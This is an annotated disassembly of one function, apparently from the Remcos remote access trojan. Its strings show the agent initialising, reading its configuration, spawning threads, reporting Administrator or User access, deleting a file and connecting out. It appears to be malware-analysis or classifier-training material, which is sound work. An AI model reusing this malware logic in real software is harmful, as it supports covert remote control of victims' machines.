Function at 0x1000c7d1
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
mov dword [0x1006ed60], ecx
push ebx
push esi
push edi
call fcn.1001998f
push 0x104
push 0x1006eb58
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x40]
call fcn.1000ce6b
sub esp, 0x18
mov ecx, esp
push 0x10071348
call fcn.10001fe7
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.10001fe7
lea ecx, [esp + 0x54]
call fcn.10018bb7
add esp, 0x30
push eax
call fcn.1000d255
lea ecx, [esp + 0x24]
call fcn.10001da9
mov ebx, 0x100710c4
push 3
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 0x10061c3c
push 0xe
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006eb54]
call fcn.10001d7e
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.10004ceb
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.10005cc1
pop ecx
push eax
mov ecx, 0x100712d0
call fcn.10001f14
lea ecx, [esp + 0x24]
call fcn.10001f0f
lea ecx, [esp + 0xc]
call fcn.10001f0f
push 0xe
mov ecx, ebx
call fcn.10001d7e
push eax
mov ecx, 0x10071300
call fcn.10001edf
mov esi, 0x10071360
push 0x100626b8
mov ecx, esi
call fcn.1000545c
push 6
mov ecx, ebx
call fcn.10001d7e
mov edx, str.310M
mov ecx, eax
call fcn.10005465
test al, al
je 0x1000c8f0
push str.Shellcode
mov ecx, esi
call fcn.1000545c
call fcn.1000b775
test eax, eax
jne 0x1000c910
push 2
pop esi
lea ecx, [esp + 0x40]
call fcn.10001f0f
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x10070acc]
test eax, eax
je 0x1000c91b
call eax
call fcn.100181db
mov eax, dword [0x10070ad8]
test eax, eax
je 0x1000c930
call eax
mov dword [0x1006d9c0], eax
push 0x27
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 0
je 0x1000c94a
call fcn.100063eb
push 0xe
mov ecx, ebx
call fcn.10001d7e
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.10018a5e
push eax
mov ecx, 0x100712a0
call fcn.10001e35
lea ecx, [esp + 0xc]
call fcn.10001e30
push 4
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 5
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006eb55]
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 8
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006eb4a]
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 3
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006eb4b]
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 0
je 0x1000ca3c
push 0x30
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000c9e8
sub eax, edx
sar eax, 1
je 0x1000ca3c
push 9
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.1000b84e
pop ecx
push eax
mov ecx, 0x100712e8
call fcn.10001e35
lea ecx, [esp + 0xc]
call fcn.10001e30
push 0x1006eb58
mov ecx, 0x100712b8
call fcn.10007c85
push 1
sub esp, 0x18
mov ecx, ebx
mov esi, esp
push 0x34
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
mov ecx, esi
call fcn.10001f8b
push str.licence
mov ecx, 0x100712d0
call fcn.10001eae
mov edx, eax
call fcn.10010607
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
call fcn.100377bb
mov byte [0x1006eb56], al
pop ecx
cmp al, 2
jne 0x1000cabe
mov cl, 1
call fcn.10019b76
push edi
push edi
push edi
push 0x1001a39b
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x1000cacc
cmp al, 1
jne 0x1000cac6
xor cl, cl
jmp 0x1000caa5
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061b24
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
mov ecx, ebx
push 0xb
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 0x10
mov ecx, 0x100710c4
mov bl, byte [eax]
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
test bl, bl
mov esi, eax
mov ebx, 0x100710c4
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
call fcn.100377bb
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
push 0x31
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
push 0xf
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x100710d0
call fcn.10008fe5
push 0x14
mov ecx, ebx
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 1
jne 0x1000cbe4
push 2
call fcn.10030710
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x100710c4
mov byte [esi], bl
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x10016eb2
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x1000cbe6
xor ebx, ebx
mov esi, 0x100710c4
push 0x16
mov ecx, esi
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 1
jne 0x1000cc3a
push 2
call fcn.10030710
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x100710c4
mov byte [esi], 1
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x10016eb2
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x100710c4
push 0x23
mov ecx, esi
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 1
jne 0x1000ccad
push 0x25
mov ecx, esi
mov byte [0x1006eaad], 1
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 0x26
mov ecx, 0x100710c4
mov esi, eax
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.1000b804
pop ecx
push eax
mov ecx, 0x10070d2c
call fcn.10001e35
lea ecx, [esp + 0xc]
call fcn.10001e30
push ebx
push ebx
push ebx
push 0x1000199a
push ebx
push ebx
call edi
mov esi, 0x100710c4
push 0x2b
mov ecx, esi
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 1
jne 0x1000ccfb
push 0x2c
mov ecx, esi
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push 0x2d
mov ecx, 0x100710c4
mov esi, eax
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
push eax
call fcn.100377bb
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.1000b469
lea ecx, [esp + 0xc]
call fcn.10018516
push eax
mov ecx, 0x10071330
call fcn.10001e35
lea ecx, [esp + 0xc]
call fcn.10001e30
mov eax, dword [0x10070ad0]
test eax, eax
je 0x1000cd24
push ebx
call eax
push ebx
push ebx
push ebx
push 0x1000cf1d
push ebx
push ebx
call edi
cmp byte [0x1006ed79], 0
je 0x1000cd45
push ebx
push ebx
push ebx
push 0x1000f704
push ebx
push ebx
call edi
mov eax, dword [0x1006d9c0]
sub eax, ebx
je 0x1000cd5f
sub eax, 1
jne 0x1000cd9f
sub esp, 0x18
mov esi, esp
push str.Administrator
jmp 0x1000cd69
sub esp, 0x18
mov esi, esp
push str.User
lea ecx, [esp + 0x28]
call fcn.10001f8b
push eax
mov edx, str.Access_Level:
mov ecx, esi
call fcn.10004cc7
sub esp, 0x14
mov ecx, esp
push 0x10061b24
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.10001f0f
mov edi, 0x100712d0
push 0x10062714
mov ecx, edi
call fcn.10001eae
mov edx, eax
call fcn.1001039d
pop ecx
test al, al
je 0x1000ce4d
push ecx
mov edx, edi
lea ecx, [esp + 0x10]
call fcn.10018a5e
mov ecx, eax
call fcn.10001e24
push eax
lea ecx, [esp + 0x2c]
call fcn.100104b3
pop ecx
pop ecx
lea ecx, [esp + 0xc]
call fcn.10001e30
lea ecx, [esp + 0x24]
call fcn.10001e24
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1000ce10
cmp ebx, 0xa
jge 0x1000ce17
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
call fcn.10001e24
push eax
call esi
test eax, eax
je 0x1000cdf9
push 0x1006253c
mov edx, edi
lea ecx, [esp + 0x10]
call fcn.10018a5e
mov ecx, eax
call fcn.10001e24
mov edx, eax
mov ecx, connect
call fcn.10010837
pop ecx
lea ecx, [esp + 0xc]
call fcn.10001e30
lea ecx, [esp + 0x24]
call fcn.10001e30
call fcn.1000bb5c
call fcn.10011e20
int3